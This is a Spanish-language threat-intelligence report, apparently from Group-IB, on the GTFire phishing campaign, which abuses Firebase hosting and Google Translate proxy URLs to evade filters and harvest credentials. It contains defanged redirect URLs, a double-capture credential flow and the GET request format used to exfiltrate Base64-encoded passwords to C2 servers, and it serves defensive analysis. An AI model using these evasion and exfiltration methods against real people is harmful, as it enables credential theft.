Introducción
En los últimos años, las campañas de phishing han evolucionado más allá de simples correos electrónicos suplantados y páginas falsas de inicio de sesión de baja sofisticación. Los actores de amenazas modernos dependen cada vez más de servicios legítimos en la nube, dominios confiables y plataformas tecnológicas ampliamente reconocidas para camuflar la actividad maliciosa dentro del tráfico normal de internet. Una de estas campañas, rastreada como GTFire, demuestra cómo los atacantes pueden abusar sistemáticamente de la infraestructura de Google para distribuir páginas de phishing, evadir controles de seguridad y recolectar credenciales de miles de víctimas en todo el mundo.
El esquema GTFire depende en gran medida de Google Firebase (web.app) para alojar páginas de phishing y de Google Translate como una capa intermediaria que disfraza las URL maliciosas, permitiéndoles evadir filtros de seguridad de correo electrónico y web. Al encadenar estos servicios, los atacantes crean enlaces de phishing que aparentan ser benignos, aprovechan la reputación de Google y redirigen dinámicamente a las víctimas hacia páginas de inicio de sesión que suplantan marcas. Una vez que las credenciales son enviadas y recolectadas, las víctimas suelen ser redirigidas nuevamente al sitio web legítimo de la organización objetivo, reduciendo las sospechas y retrasando la respuesta ante incidentes.
Esta campaña es notable no solo por su sofisticación técnica, sino también por su escala. El análisis de la infraestructura de comando y control (C2) expuesta revela miles de credenciales robadas asociadas a más de mil organizaciones, que abarcan más de cien países y cientos de industrias. Los atacantes demuestran una sólida disciplina operativa: reutilizan plantillas de phishing entre distintas marcas, implementan una recolección de credenciales en múltiples pasos y mantienen servidores centralizados que almacenan los datos obtenidos de forma organizada.
Desde una perspectiva defensiva, GTFire pone de relieve varias verdades incómodas. Los servicios confiables pueden ser utilizados como armas con un esfuerzo mínimo, la detección tradicional basada en URL es insuficiente y el abuso de marca sigue siendo uno de los vectores de ingeniería social más efectivos.
Este blog tiene como objetivo documentar en detalle el esquema de phishing GTFire, describir su modus operandi, mapear la victimología y proporcionar recomendaciones prácticas para defensores, equipos CERT y fuerzas del orden.
Hallazgos Clave
- GTFire abusa de Google Firebase (web.app) para alojar páginas de phishing a gran escala.
- Google Translate se utiliza como un escudo de phishing para evadir la detección y los sistemas de filtrado.
- Se ha observado el impacto en más de 120 dominios de phishing únicos y en más de 1.000 organizaciones.
- La redirección desde páginas de inicio de sesión falsas hacia los sitios legítimos de las marcas a menudo deja a las víctimas sin sospechar que sus credenciales ya han sido robadas.
- Las víctimas abarcan más de 100 países y más de 200 industrias a nivel global.
¿Quiénes pueden encontrar interesante este blog?
- Analistas de ciberseguridad y equipos de seguridad corporativa
- Analistas de malware
- Especialistas en inteligencia de amenazas
- Investigadores en ciberseguridad
- Equipos de Respuesta ante Emergencias Informáticas (CERT)
- Investigadores de las fuerzas del orden
- Fuerzas policiales especializadas en cibercrimen
Portal de Inteligencia de Amenazas de Group-IB: GTFire
Los clientes de Group-IB pueden acceder a nuestro portal de Inteligencia de Amenazas para obtener más información sobre el autor de la amenaza GTFire y el esquema de phishing.
Victimología
| País (Top 5) | Industrias Objetivo | Total Víctimas |
| Mexico | Manufactura, Educación, Gobierno | 385 |
| Estados Unidos | Multiple | 101 |
| España | Multiple | 67 |
| India | Multiple | 54 |
| Argentina | Multiple | 50 |
Infraestructura y Técnicas
Abuso de Google Firebase Hosting (web.app)
GTFire se apoya en la infraestructura de hosting gratuita y de rápida implementación de Google Firebase para desplegar páginas de phishing a gran escala. El actor de amenazas registra grandes volúmenes de subdominios *.web.app generados aleatoriamente, lo que permite una rotación rápida de la infraestructura y minimiza los costos operativos. Dado que los dominios de Firebase son ampliamente confiables y utilizados con frecuencia por desarrolladores legítimos, estas páginas de phishing suelen evadir los controles de seguridad basados en reputación.
Las páginas alojadas en Firebase cargan dinámicamente plantillas de inicio de sesión específicas de cada marca, mostrando logotipos y elementos visuales de la organización objetivo. El mismo framework de phishing se reutiliza en múltiples marcas, con solo cambios menores en las rutas de URL y los recursos visuales, lo que permite un escalamiento eficiente a través de distintas regiones e industrias.
Patrones de Generación de Dominios
A pesar de estas características, los dominios de Firebase observados por los investigadores de Group-IB en esta campaña siguen patrones de nomenclatura predecibles y de alto volumen, que incluyen:
- Cadenas alfabéticas aleatorias de 6 a 10 caracteres
- Combinaciones alfanuméricas diseñadas para evadir listas de bloqueo simples
Estos patrones permiten a los defensores crear reglas de hunting proactivas en lugar de depender de listas estáticas de dominios.
Google Translate como Escudo de Phishing
Una característica distintiva de la campaña GTFire es el abuso sistemático de la funcionalidad de traducción de sitios web de Google Translate. Los enlaces de phishing se distribuyen a las víctimas en forma de URLs de translate.goog, que actúan como una capa intermediaria de redirección entre la víctima y la página de phishing maliciosa alojada en Firebase.
Google Translate – Modo de Traducción de Sitios Web
Estos enlaces utilizan la función de traducción de sitios web de Google Translate. Google carga el sitio web original a través de un proxy de traducción y reemplaza dinámicamente el texto visible con la versión traducida, mientras preserva la estructura y la navegación originales del sitio. El sitio web original en sí no es modificado; únicamente se traduce el contenido renderizado en el navegador de la víctima.
La primera captura de pantalla a continuación demuestra la funcionalidad de Sitios Web de Google Translate, donde se envía una URL completa (en este caso, group-ib.com) para su traducción automática a otro idioma (español).
Imagen 2. Modo “Sitios Web” de Google Translate para traducir un sitio web completo.
La segunda captura de pantalla muestra el resultado: el mismo sitio web renderizado a través del proxy de traducción de Google Translate (dominio translate.goog), con el contenido traducido dinámicamente mostrado en el navegador.
Imagen 3. Sitio web de Group-IB mostrado a través del proxy de Google Translate, presentando en el navegador la versión traducida del sitio original.
Esta técnica proporciona varias ventajas al atacante:
- Obfuscation of the final phishing destination.
- Mayor confianza debido al uso de dominios propiedad de Google.
- Menor probabilidad de bloqueo por parte de los controles de seguridad de correo electrónico y pasarelas web
En muchos casos, el dominio subyacente de phishing alojado en Firebase solo se hace visible una vez que la cadena completa de redirección de Google Translate se ha resuelto por completo, lo que complica significativamente la detección y el análisis automatizados.
Visión General de la Cadena de Redirección
Imagen 4. Visión general de la infraestructura de GTFire.
La campaña GTFire aprovecha una cadena de redirección de múltiples pasos para ocultar el destino final de phishing y retrasar la exposición de la infraestructura maliciosa subyacente.
Inicialmente, a las víctimas se les presenta una URL de Google Translate (translate.goog), que actúa como la primera capa de redirección. Esta URL reenvía la solicitud a través de la infraestructura de traducción propiedad de Google antes de resolverse en la página final de phishing alojada en Firebase.
Durante este proceso, la solicitud pasa por múltiples URLs intermedias, incluyendo:
- Representaciones de Nombres de Dominio Internacionalizados (IDN) codificadas en Punycode
- Subdominios del proxy de Google Translate
- Segmentos de ruta generados dinámicamente
Solo después de que la cadena completa de redirección se resuelve, el navegador carga la página final de phishing alojada en un dominio .web.app.
Ejemplo de Flujo de Redirección
Figura 5. Cómo se utilizan dominios legítimos de Google Translate y Firebase para ocultar y alojar páginas web maliciosas.
- El enlace inicial
La víctima hace clic en una URL de translate.goog distribuida a través de mensajes de phishing. - Capa del proxy de Google Translate
La solicitud es procesada por el servicio de traducción web de Google Translate, que reescribe la URL y reenvía la petición a través de infraestructura controlada por Google. - Dominio intermedio traducido
El navegador resuelve nombres de dominio codificados y traducidos (incluyendo variantes IDN/Punycode), ocultando aún más el destino real. - Destino final en Firebase (Solicitud primaria)
La solicitud finalmente se resuelve en la página de phishing alojada en Firebase (ver más abajo). Incluso en esta etapa, el dominio de Firebase solo se vuelve visible en el tráfico de red o en las herramientas de desarrollador del navegador, y no necesariamente en la barra de direcciones durante las etapas anteriores.
Google Translate URL https://gxvv3mrr1-xn--wtsyr9q6-xn----c1a2cj-xn----p1ai[.]translate.goog/mon9K20E/KvQkJ/Y6Ufj?WTJGc2JDNTJhWEowZFdGc09VQmlZVzV5ZFhKaGJDNWpiMjB1WjNRPTpCNEkzWA+&_x_tr_sch=http&_x_tr_sl=deBoGBII&_x_tr_tl=wFpmJDGb Intermediate Translated Domain https://gxvv3mrr1-xn--wtsyr9q6-xn----c1a2cj-xn----p1ai-translate.xn--c1a2cj[.]xn--p1ai/CzPhDTjq/txOSIlVK/WTJGc2JDNTJhWEowZFdGc09VQmlZVzV5ZFhKaGJDNWpiMjB1WjNRPTpCNEkzWA Primary Request on Firebase https://it1lhz.web[.]app/host:-%20%20login.:4592?+&_x_tr_sl=pJeMrUFy&_x_tr_tl=pJeMrUFy
Ofuscación y Codificación de URL
Las URLs de phishing con frecuencia contienen parámetros codificados en Base64 que incorporan información específica de la víctima, como direcciones de correo electrónico, preferencias de idioma y marcas objetivo. En algunos casos, los parámetros están doblemente codificados para dificultar aún más el análisis y la detección basada en firmas.
Imagen 6. Doble decodificación base64 del parametro de la url:
WTJGc2JDNTJhWEowZFdGc09VQmlZVzV2Y25SbExtTnZiUT09OkI0STNY
Flujo de Recolección de Credenciales
Una vez que la víctima accede a la página de phishing, el proceso de recolección de credenciales sigue un flujo consistente y deliberado:
- La víctima introduce su nombre de usuario y contraseña.
- La página de phishing muestra un mensaje de “contraseña incorrecta”.
- Las credenciales del primer intento son exfiltradas de forma silenciosa.
- Se solicita a la víctima que vuelva a introducir su contraseña.
- Las credenciales del segundo intento también son recolectadas.
- La víctima es redirigida al sitio web legítimo de la marca suplantada.
Este diseño incrementa las probabilidades del atacante de capturar credenciales válidas mientras minimiza la sospecha del usuario.
Imagen 7. Las páginas de phishing utilizan mensajes de error falsos y solicitudes de reintento para ocultar la exfiltración de credenciales en segundo plano.
Exfiltración de Datos
Las credenciales capturadas se transmiten mediante solicitudes HTTP GET a servidores de comando y control (C2) controlados por los atacantes. Las contraseñas están codificadas en Base64 y se envían acompañadas de metadatos como:
- Dirección de correo electrónico de la víctima
- País de acceso
- Idioma del navegador
Imagen 8. La solicitud con las credenciales se envía a través de los parámetros de la URL, la contraseña codificada en Base64, junto con el país de la visita y el idioma.
La infraestructura principal de C2 observada por los investigadores de Group-IB en esta campaña opera sobre instancias de LiteSpeed Web Server, alojando scripts centralizados de recolección basados en PHP (por ejemplo, All-in-1.php).
La mecánica operativa de la campaña de phishing basada en aplicaciones web del actor de amenazas GTFire revela una dependencia en la simplicidad y la automatización para alcanzar la máxima escala. La exfiltración de credenciales se logra mediante un método poco sofisticado pero efectivo. Las credenciales capturadas simplemente se envían a través de parámetros en la URL dentro de una solicitud HTTP GET estándar. Específicamente, el correo electrónico del usuario comprometido se transmite directamente, mientras que la contraseña correspondiente se codifica primero en Base64 antes de ser incluida. Esta información se envía junto con datos de telemetría, incluyendo el país geográfico de la visita de la víctima (<COUNTRY>) y la configuración de idioma del navegador del usuario (<LANGUAGE>), proporcionando al actor de amenazas un contexto valioso para operaciones posteriores al phishing o para tareas de filtrado.
La estructura de la solicitud de exfiltración es la siguiente:
GET /myown/All-in-1.php=user=&pass= &pass2=&vi sit= &lang= HTTP/1.1
Una vez más, la piedra angular del éxito de la campaña GTFire es su utilización estratégica de herramientas fácilmente disponibles, como scripts de phishing en PHP comercializados del tipo All-in-1. Esta elección táctica reduce drásticamente la carga operativa y acelera el ciclo de despliegue. Estos scripts preempaquetados son altamente eficientes, ya que simplifican la creación de páginas de phishing sofisticadas y convincentes, además de automatizar la lógica backend crítica necesaria para la recolección y exfiltración de credenciales. Esto transforma un ataque que normalmente sería complejo, de múltiples etapas y altamente personalizado para cada objetivo, en una operación plug-and-play fácilmente disponible.
Al construir su infraestructura sobre componentes de software comunes y legítimos, como el ampliamente utilizado lenguaje de scripting PHP y el servidor web de alto rendimiento LiteSpeed Web Server, el actor GTFire reduce la necesidad de desarrollo personalizado especializado y disminuye el riesgo de ser vinculado a una infraestructura propia, distintiva y fácilmente identificable mediante técnicas de fingerprinting. Este compromiso con la automatización permite a GTFire replicar y desplegar instantáneamente nuevas páginas de recolección de credenciales a través de su red en constante rotación de dominios, todo ello manteniendo una inversión mínima de recursos.
Infraestructura de Comando y Control (C2)
Imagen 9. Gráfico de Group-IB de la infraestructura de red GTFire observada.
El análisis de los directorios expuestos en los servidores C2 observados revela un almacenamiento estructurado de las credenciales robadas, organizadas por:
- Fecha
- Idioma
- Servicio o marca objetivo
Este nivel de organización sugiere un flujo operativo maduro y un posible uso posterior de los datos robados para la toma de control de cuentas (ATO), reventa o campañas de fraude secundario.
Imagen 10. Servidor LiteSpeed Web donde se almacenan las credenciales recolectadas y los scripts de phishing.
Conclusión
El esquema de phishing GTFire demuestra cómo los actores de amenazas modernos pueden instrumentalizar eficazmente plataformas confiables para llevar a cabo campañas globales de recolección masiva de credenciales. Al abusar de Google Firebase y Google Translate, GTFire reduce significativamente las tasas de detección mientras mantiene la eficiencia operativa.
El uso observado de otros servicios y herramientas legítimas, como LiteSpeed Web Server y scripts PHP All-in-1, refuerza aún más la escalabilidad y la capacidad de despliegue rápido de esta campaña de phishing. La longevidad y la magnitud de la campaña ponen de relieve la necesidad urgente de que los defensores replanteen los modelos de confianza y mejoren las estrategias de detección frente al abuso de servicios legítimos.
Recomendaciones
Para las Organizaciones
- Implementar MFA resistente al phishing
- Monitorear la suplantación de marca en plataformas de cloud confiables
- Educar a los empleados sobre las técnicas de phishing basadas en servicios de Google
Para los Equipos de Seguridad
- Correlacionar patrones de URL que involucren translate.goog y web.app
- Compartir IOCs entre la industria y las comunidades CERT
Preguntas Frecuentes (FAQ)
¿Qué hace que GTFire sea diferente de las campañas de phishing típicas?
Su abuso sistemático de servicios confiables de Google y su alcance global.
¿Por qué se utiliza Google Translate en este esquema?
Para disfrazar las URLs maliciosas y evadir los sistemas de filtrado de correo electrónico y web.
¿Solo se dirigen a empresas de América Latina?
No, las víctimas abarcan más de 100 países en todo el mundo.
¿Cómo reduce la sospecha la redirección al sitio web real de la marca?
Retrasa la detección y los tiempos de respuesta ante incidentes. En muchos casos, las víctimas no son conscientes de lo ocurrido y tienden a atribuir los intentos fallidos de inicio de sesión a problemas comunes de conectividad o de carga de la página web, ya que posteriormente pueden iniciar sesión en el sitio legítimo sin inconvenientes.
Group-IB Fraud Matrix
Indicadores de Compromiso (IOCs)
IOCs de Red
- jnhwzs[.]fyi
- gnpnia[.]lat
Indicadores de Red
- *.web.app con redirecciones a través de Google Translate
Indicadores de archivos
- Sripts de recolección de credenciales All-in-1.php
EXENCIÓN DE RESPONSABILIDAD: Toda la información técnica, incluido el análisis de malware, los indicadores de compromiso y los detalles de infraestructura proporcionados en esta publicación, se comparte exclusivamente con fines defensivos de ciberseguridad e investigación. Group-IB no respalda ni permite ningún uso no autorizado u ofensivo de la información aquí contenida. Los datos y conclusiones representan la evaluación analítica de Group-IB basada en la evidencia disponible y tienen como objetivo ayudar a las organizaciones a detectar, prevenir y responder a amenazas cibernéticas.
Group-IB rechaza expresamente cualquier responsabilidad por el uso indebido de la información proporcionada. Se recomienda a las organizaciones y a los lectores aplicar esta inteligencia de manera responsable y en cumplimiento de todas las leyes y regulaciones aplicables.
Este blog puede hacer referencia a servicios legítimos de terceros, como Telegram y otros, únicamente para ilustrar casos en los que actores de amenazas han abusado o hecho un uso indebido de estas plataformas.
Este material se proporciona con fines informativos, ha sido elaborado por Group-IB como parte de su propia investigación analítica y refleja actividad de amenazas identificada recientemente.
Todas las marcas comerciales mencionadas en el presente documento son propiedad de sus respectivos titulares y se utilizan únicamente con fines informativos, sin que ello implique afiliación o patrocinio alguno.
